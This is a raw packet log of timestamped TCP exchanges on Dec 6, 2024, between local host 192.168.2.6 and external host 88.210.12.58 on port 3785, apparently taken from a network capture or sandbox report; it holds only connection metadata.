Dec 6, 2024 10:42:24.706904888 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:24.743958950 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:24.863857031 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:25.184459925 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:25.285053968 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:25.306061029 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:25.386054039 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:25.404834986 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:25.487051010 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:25.506366014 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:25.587198019 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:25.606861115 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:25.688086987 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:25.706928015 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:25.788072109 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:25.807917118 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:25.889060020 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:25.907805920 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:25.989101887 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:26.008780956 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:26.090110064 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:26.109378099 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:26.190098047 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:26.209813118 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:26.290221930 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:26.310122013 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:26.392071009 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:26.410377979 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:26.491385937 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:26.512092113 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:26.592129946 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:26.611080885 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:26.693177938 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:26.711828947 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:26.794100046 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:26.812967062 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:26.895984888 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:26.913988113 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:26.995987892 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:27.015687943 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:27.096199036 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:27.115971088 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:27.196178913 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:27.215874910 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:27.297091007 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:27.315977097 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:27.406744003 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:27.419483900 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:27.510270119 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:27.526981115 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:27.630073071 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:27.813128948 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:27.914123058 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:27.932971954 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:28.015151024 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:28.033989906 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:28.116111040 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:28.135158062 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:28.216190100 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:28.235872030 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:28.317095995 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:28.335902929 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:28.419939041 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:28.436857939 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:28.520046949 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:28.539738894 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:28.618273020 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:28.640846014 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:28.719080925 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:28.738370895 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:28.820547104 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:28.839723110 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:28.920178890 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:28.943798065 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:29.021116018 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:29.040005922 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:29.123936892 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:29.140907049 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:29.222094059 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:29.244067907 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:29.322076082 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:29.347512960 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:29.423088074 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:29.441890001 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:29.524086952 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:29.542784929 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:29.624110937 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:29.643893957 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:29.725068092 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:29.744015932 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:29.826109886 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:29.845041037 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:29.927335024 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:29.945838928 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:30.028139114 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:30.048680067 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:30.129081964 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:30.149225950 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:30.230098963 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:30.248879910 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:30.330221891 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:30.349860907 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:30.431081057 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:30.450153112 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:30.532335997 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:30.552201033 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:30.633971930 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:30.652184963 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:30.733943939 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:30.753819942 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:30.833947897 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:30.853796959 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:30.934062958 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:30.953670979 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:31.034332991 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:31.054141998 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:31.135399103 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:31.154048920 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:31.236078024 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:31.255542040 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:31.336114883 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:31.355861902 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:31.437117100 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:31.455857992 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:31.538068056 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:31.556968927 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:31.638072968 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:31.657793999 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:31.738111019 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:31.757903099 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:31.838128090 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:31.857798100 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:31.939095020 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:31.957979918 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:32.040128946 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:32.058944941 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:32.140098095 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:32.159866095 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:32.242072105 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:32.259993076 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:32.341950893 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:32.361843109 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:32.442198038 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:32.543118000 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:32.645962954 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:32.737087011 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:32.737523079 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:32.738418102 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:32.745955944 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:32.766000032 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:32.845124960 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:32.865684986 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:32.946111917 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:32.964993000 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:33.046149969 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:33.065838099 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:33.147094965 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:33.166006088 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:33.247104883 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:33.266844988 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:33.348160028 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:33.366866112 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:33.448088884 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:33.467905998 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:33.549092054 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:33.567887068 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:33.649123907 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:33.668908119 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:33.751415014 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:33.768899918 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:33.852171898 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:33.871407032 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:33.953082085 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:33.972070932 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:34.054156065 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:34.072897911 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:34.174047947 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:34.221956015 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:34.325995922 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:34.349308014 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:34.445704937 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:34.529206991 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:34.629098892 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:34.648937941 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:34.730094910 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:34.748961926 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:34.831110954 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:34.849932909 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:34.932105064 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:34.951033115 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:35.033972025 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:35.052710056 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:35.134198904 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:35.154599905 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:35.234114885 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:35.254000902 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:35.334119081 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:35.354121923 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:35.435842037 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:35.453917980 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:35.535099030 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:35.555653095 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:35.636121035 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:35.655474901 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:35.736124039 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:35.756056070 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:35.837188005 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:35.858355999 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:35.937423944 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:35.957098007 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:36.038120031 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:36.057207108 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:36.138237000 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:36.158055067 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:36.239978075 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:36.258121014 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:36.342000008 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:36.359682083 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:36.439160109 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:36.461760044 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:36.542203903 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:36.558988094 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:36.641839027 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:36.662492037 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:36.742022038 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:36.761981964 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:36.846975088 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:36.861730099 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:36.952059984 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:36.966753960 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:37.071980953 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:37.153105021 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:37.254118919 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:37.272874117 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:37.354105949 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:37.374170065 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:37.455136061 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:37.474016905 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:37.555155993 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:37.574938059 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:37.655203104 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:37.675071955 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:37.756160021 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:37.774993896 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:37.856134892 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:37.875989914 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:37.957146883 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:37.978986979 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:38.058223963 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:38.079516888 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:38.158138990 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:38.178934097 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:38.261986017 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:38.278052092 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:38.360124111 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:38.381970882 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:38.461981058 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:38.479940891 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:38.561989069 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:38.581855059 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:38.661983013 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:38.681842089 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:38.762013912 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:38.781759024 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:38.861110926 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:38.881988049 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:38.962018013 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:38.982620001 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:39.061146021 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:39.081793070 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:39.161134958 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:39.180953979 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:39.262157917 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:39.281124115 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:39.362181902 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:39.382134914 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:39.463144064 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:39.482032061 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:39.563139915 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:39.582947016 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:39.664145947 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:39.682931900 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:39.764137983 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:39.784248114 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:39.864160061 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:39.884258032 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:39.965250015 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:39.984200954 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:40.065144062 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:40.085247040 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:40.165230036 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:40.184993982 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:40.268024921 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:40.285108089 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:40.365207911 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:40.387804985 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:40.466207981 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:40.484961987 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:40.567303896 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:40.586082935 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:40.667138100 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:40.687411070 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:40.767206907 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:40.786927938 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:40.869991064 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:40.886991024 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:40.968360901 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:40.989800930 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:41.069133043 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:41.088181973 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:41.172347069 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:41.189275026 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:41.271152973 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:41.292032957 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:41.371233940 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:41.390933990 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:41.472116947 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:41.492031097 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:41.573163033 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:41.591835976 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:41.673233986 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:41.693327904 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:41.773166895 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:41.792973995 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:41.874166012 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:41.893282890 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:41.974148035 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:41.993948936 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:42.075165033 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:42.093877077 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:42.175246954 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:42.195019960 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:42.278073072 CET	49737	3785	192.168.2.6	88.210.12.58
